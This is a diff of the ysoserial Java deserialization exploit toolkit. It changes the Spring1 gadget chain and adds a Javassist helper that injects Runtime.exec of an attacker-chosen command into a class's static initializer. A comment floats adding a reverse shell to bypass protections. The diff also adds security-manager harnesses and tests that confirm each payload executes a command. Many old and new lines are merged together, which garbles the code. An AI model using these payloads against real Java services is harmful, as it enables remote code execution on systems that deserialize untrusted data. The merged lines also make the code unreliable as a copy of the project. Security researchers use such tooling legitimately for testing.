import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
/* /*
Gadget chains: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
@@ -43,28 +40,18 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
TemplatesImpl.newTransformer() TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses() TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass() TemplatesImpl.TransletClassLoader.defineClass()
Gadgets.TransletPayload.readObject() Pwner*(Javassist-generated).<static init>
Runtime.exec() Runtime.exec()
Requires:
spring-framework-core
*/ */
@SuppressWarnings({"restriction", "rawtypes"}) @SuppressWarnings({"restriction", "rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> { @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public List<Object> getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final ObjectFactory objectFactoryProxy = final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
@@ -78,14 +65,13 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy return mitp;
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args); PayloadRunner.run(Spring1.class, args);
} }
@@ -0,0 +1,24 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
}
}
@@ -22,19 +22,23 @@ public class ClassFiles {
return str; return str;
} }
public static byte[] classAsBytes(final Class<?> clazz) throws IOException { public static byte[] classAsBytes(final Class<?> clazz) {
final byte[] buffer = new byte[1024]; try {
final String file = classAsFile(clazz); final byte[] buffer = new byte[1024];
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); final String file = classAsFile(clazz);
if (in == null) { final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
throw new IOException("couldn't find '" + file + "'"); if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
} }
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} }
} }
@@ -1,7 +1,7 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.IOException; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.ObjectInputStream;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
@@ -9,9 +9,15 @@ import java.lang.reflect.Proxy;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@@ -20,59 +26,43 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
*/ */
@SuppressWarnings("restriction") @SuppressWarnings("restriction")
public class Gadgets { public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
// serializable translet subclass that will command stored in field when deserialized
public static class TransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = 5571793986024357801L;
{
namesArray = new String[0]; // needed to make TemplatesImpl happy
}
private String command;
// execute stored command on deserialization
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // read command string
try {
Runtime.getRuntime().exec(command); // execute command
} catch (IOException e) {
e.printStackTrace(); // not trying to be stealthy
}
}
public TransletPayload withCommand(String command) {
this.command = command;
return this;
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) @Override
throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
} }
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
public static class Foo implements Serializable { public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L; private static final long serialVersionUID = 8207363842866235160L;
} }
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception { final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} }
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception { public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} }
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface; allIfaces[0] = iface;
if (ifaces.length > 0) { if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
} }
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
} }
@@ -81,4 +71,30 @@ public class Gadgets {
map.put(key,val); map.put(key,val);
return map; return map;
} }
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
} }
@@ -1,34 +1,41 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize; import java.util.concurrent.Callable;
import static ysoserial.payloads.util.Serializables.serialize;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/* /*
* utility class for running exploits locally from command line * utility class for running exploits locally from command line
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload");
return Serializer.serialize(objBefore);
}});
try { try {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload");
final byte[] serialized = serialize(objBefore);
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
final Object objAfter = deserialize(serialized);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
} }
@@ -1,34 +0,0 @@
package ysoserial.payloads.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Serializables {
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
+215
View File
@@ -0,0 +1,215 @@
package ysoserial.secmgr;
import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
public SecurityManager getSecurityManager() {
return securityManager;
}
public void setSecurityManager(SecurityManager securityManager) {
this.securityManager = securityManager;
}
@Override
public boolean getInCheck() {
return getSecurityManager().getInCheck();
}
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
}
@Override
public void checkPermission(Permission perm) {
getSecurityManager().checkPermission(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
getSecurityManager().checkPermission(perm, context);
}
@Override
public void checkCreateClassLoader() {
getSecurityManager().checkCreateClassLoader();
}
@Override
public void checkAccess(Thread t) {
getSecurityManager().checkAccess(t);
}
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess();
}
@Override
public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess();
}
@Override
public void checkPackageAccess(String pkg) {
getSecurityManager().checkPackageAccess(pkg);
}
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which);
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
@@ -0,0 +1,87 @@
package ysoserial.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
}
public ExecCheckingSecurityManager(boolean throwException) {
this.throwException = throwException;
}
private final boolean throwException;
private final List<String> cmds = new LinkedList<String>();
public List<String> getCmds() {
return Collections.unmodifiableList(cmds);
}
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
@Override
public void checkExec(final String cmd) {
super.checkExec(cmd);
cmds.add(cmd);
if (throwException) {
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
public String getThreadName() { return threadName; }
@
Override
public String getMessage() {
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
}
}
public void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}
}
@@ -0,0 +1,35 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private static final ThreadLocalSecurityManager INSTANCE
= new ThreadLocalSecurityManager();
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
@@ -1,16 +0,0 @@
package ysoserial;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
@SuppressWarnings("serial")
public class ExecSerializable implements Serializable {
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
e.printStackTrace();
}
}
}
-17
View File
@@ -1,17 +0,0 @@
package ysoserial;
import java.io.Serializable;
import ysoserial.payloads.ObjectPayload;
public class MockPayload implements ObjectPayload {
private final Serializable obj;
public MockPayload(final Serializable obj) {
this.obj = obj;
}
public Object getObject(final String command) throws Exception {
return obj;
}
}
@@ -1,24 +0,0 @@
package ysoserial;
import java.security.Permission;
import java.util.LinkedList;
import java.util.List;
public class MockSecurityManager extends SecurityManager {
private final List<Permission> checks = new LinkedList<Permission>();
public List<Permission> getChecks() {
return checks;
}
@Override
public void checkPermission(final Permission perm) {
checks.add(perm);
}
@Override
public void checkPermission(final Permission perm, final Object context) {
checks.add(perm);
}
}
+1 -1
View File
@@ -3,6 +3,6 @@ package ysoserial;
public class Throwables { public class Throwables {
public static Throwable getInnermostCause(final Throwable t) { public static Throwable getInnermostCause(final Throwable t) {
final Throwable cause = t.getCause(); final Throwable cause = t.getCause();
return cause == null ? t : getInnermostCause(cause); return cause == null || cause == t ? t : getInnermostCause(cause);
} }
} }
@@ -0,0 +1,18 @@
package ysoserial.exploit;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistryExploitTest {
public static void createRegistry(int port) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(port);
}
public static void main(String[] args) throws RemoteException, InterruptedException {
String portStr = args.length > 0 && args[0] != null ? args[0] : "1099";
int port = Integer.parseInt(portStr);
createRegistry(port);
while (true) Thread.sleep(1000);
}
}
@@ -2,89 +2,112 @@ package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.FilePermission; import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.Set;
import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert; import org.junit.Assert;
import org.junit.Rule; import org.junit.Rule;
import org.junit.Test; import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager; import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.experimental.theories.DataPoints;
import org.junit.experimental.theories.Theories;
import org.junit.experimental.theories.Theory;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.ExecSerializable; import ysoserial.Deserializer;
import ysoserial.MockPayload; import ysoserial.Serializer;
import ysoserial.MockSecurityManager;
import ysoserial.Throwables; import ysoserial.Throwables;
import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.Groovy1; import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.Spring1; import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Serializables; import ysoserial.secmgr.ExecCheckingSecurityManager;
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
/* /*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests * a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases * the harness for trivial pass and failure cases
TODO: figure out better way to test exception behavior than comparing messages
*/ */
@SuppressWarnings({"restriction","unused"}) @SuppressWarnings({"restriction", "unused", "unchecked"})
@RunWith(Theories.class) @RunWith(Parameterized.class)
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@SuppressWarnings("serial") @Parameters(name = "payloadClass: {0}")
private static class ExecException extends RuntimeException {} public static Class<? extends ObjectPayload<?>>[] payloads() {
private final MockSecurityManager msm = new MockSecurityManager(){ Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
public void checkExec(final String cmd) { payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
super.checkExec(cmd); return payloadClasses.toArray(new Class[0]);
// throw a special exception to ensure we can detect exec() in the test }
throw new ExecException();
}; private final Class<? extends ObjectPayload<?>> payloadClass;
};
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
@Rule this.payloadClass = payloadClass;
public final ProvideSecurityManager psm = new ProvideSecurityManager(msm); }
@DataPoints @Test
public static ObjectPayload[] payloads() { public void testPayload() throws Exception {
return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() }; testPayload(payloadClass, new Class[0]);
} }
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
final String command = "hostname";
final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
return Serializer.serialize(f);
}});
@Theory
public void testPayload(final ObjectPayload payload) throws Exception {
final Object f = payload.getObject("hostname");
final byte[] serialized = Serializables.serialize(f);
// special case for using TemplatesImpl gadgets with SecurityManager
System.setProperty(DESERIALIZE_TRANSLET, "true");
try { try {
final Object obj = Serializables.deserialize(serialized); Object deserialized = sm.wrap(new Callable<Object>(){
public Object call() throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
}
});
Assert.fail(ASSERT_MESSAGE); // should never get here Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Exception e) { } catch (Throwable e) {
// hopefully everything will reliably nest our ExecException // hopefully everything will reliably nest our ExecException
Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class); Throwable innerEx = Throwables.getInnermostCause(e);
} Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
// confirm sm saw the check for file execution
Assert.assertTrue(msm.getChecks().contains(new FilePermission("<<ALL FILES>>", "execute")));
}
// make sure test harness fails properly
@Test
public void testHarnessFail() throws Exception {
try {
testPayload(new MockPayload(1));
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertEquals(ASSERT_MESSAGE, e.getMessage());
} }
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
} }
// make sure test harness passes properly @SuppressWarnings({ "unchecked" })
@Test private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
public void testHarnessPass() throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
testPayload(new MockPayload(new ExecSerializable())); URL[] urls = new URL[jars.length];
for (int i = 0; i < jars.length; i++) {
urls[i] = jars[i].toURI().toURL();
}
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
for (Class<?> clazz : classDependencies) {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}};
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
final Object obj = deserializer.call();
return obj;
} }
} }
+66
View File
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
public ExecMockSerializable getObject(String command) throws Exception {
return new ExecMockSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
}
@SuppressWarnings("serial")
public static class ExecMockSerializable implements Serializable {
private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}